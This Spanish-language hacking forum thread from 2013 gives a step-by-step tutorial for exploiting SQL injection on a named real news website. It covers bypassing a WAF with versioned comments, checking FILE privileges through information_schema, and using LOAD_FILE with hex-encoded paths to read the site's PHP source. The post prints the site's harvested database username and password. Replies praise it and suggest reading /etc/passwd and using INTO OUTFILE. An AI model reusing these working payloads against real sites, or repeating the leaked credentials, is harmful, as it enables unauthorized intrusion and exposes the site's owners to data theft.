Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Muppet en Julio 25, 2013, 04:01:18 AM

Título: Full Source Disclosure por SQLI
Publicado por: Muppet en Julio 25, 2013, 04:01:18 AM
Bueno volviendo despues de un tiempo que me tuve que tomar por la facutad, aprovecho para dejar este aporte:

Realizar FSD por medio de SQLI:

Veamos esta Web con SQLI:

http://www.lasemana.es/periodico/noticia.php?cod=34689

(http://i42.tinypic.com/256wx2w.png)


despues de explotar el sqli y Bypassear el WAF queda asi:

(http://i44.tinypic.com/b6c46d.png)

Vector:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost"  espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos devuelve esto:

(http://i42.tinypic.com/2gvr9s9.png)

podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:

(http://i44.tinypic.com/2ezlaie.png)

Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:

A mi se me ocurre poner algo tan simple como una '  y logro obtener esta respuesta:

(http://i43.tinypic.com/1zd9mpy.png)

podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure:  /var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!

Manos a la Obra:

Nuestra SQLI queda de esta Forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)

y Observaremos algo que esta muy enquilombado y no se entiende nada XD

(http://i40.tinypic.com/vytduc.png)

por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D

(http://i42.tinypic.com/2qao0ad.png)

y vemos muy claramente, el usuario y password de la base de datos:


$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("[email protected]","607720916","Se ha caido el Servidor","From: SOPORTE <[email protected]>");

Espero que les sea de Utilidad!

HD_Breaker
Título: Re:Full Source Disclosure por SQLI
Publicado por: ZanGetsu en Julio 25, 2013, 04:31:38 AM
Muy Bueno el post bro ! !
Título: Re:Full Source Disclosure por SQLI
Publicado por: M5f3r0 en Julio 25, 2013, 12:53:38 PM
Excelente post! Desconocía de esto.

Sigue así! ;D.
Título: Re:Full Source Disclosure por SQLI
Publicado por: SyntaxError en Julio 26, 2013, 09:07:27 AM
muy bueno bro :D
Título: Re:Full Source Disclosure por SQLI
Publicado por: kr4n3 en Julio 26, 2013, 12:22:41 PM
genial broo se agradece
Título: Re:Full Source Disclosure por SQLI
Publicado por: BigBear en Julio 26, 2013, 12:36:09 PM
cuando lei el titulo pense que era una vulnerabilidad nueva xDD , es el clasico load_file() en SQLi.
Título: Re:Full Source Disclosure por SQLI
Publicado por: TUNOVATO en Julio 26, 2013, 10:29:42 PM
el clasico LOAD_FILE()   :o :o :o :o


aer cuando no puedes ver o provocar el error y ver el path o Document Root...!!!!


tambien tenes que aprovechar de explicar INTO OUTFILE para culminar el tuto...

pero ta bueno
Título: Re:Full Source Disclosure por SQLI
Publicado por: Muppet en Julio 26, 2013, 11:49:22 PM
Es parecido a LFI por medio de SQLI pero con distintos fines, sino se puede incluir /etc/passwd y ver entre los usuarios el path que corresponde a esa web
Título: Re:Full Source Disclosure por SQLI
Publicado por: 1v@n en Diciembre 26, 2013, 01:31:25 PM
muy buen aporte , gracias,,,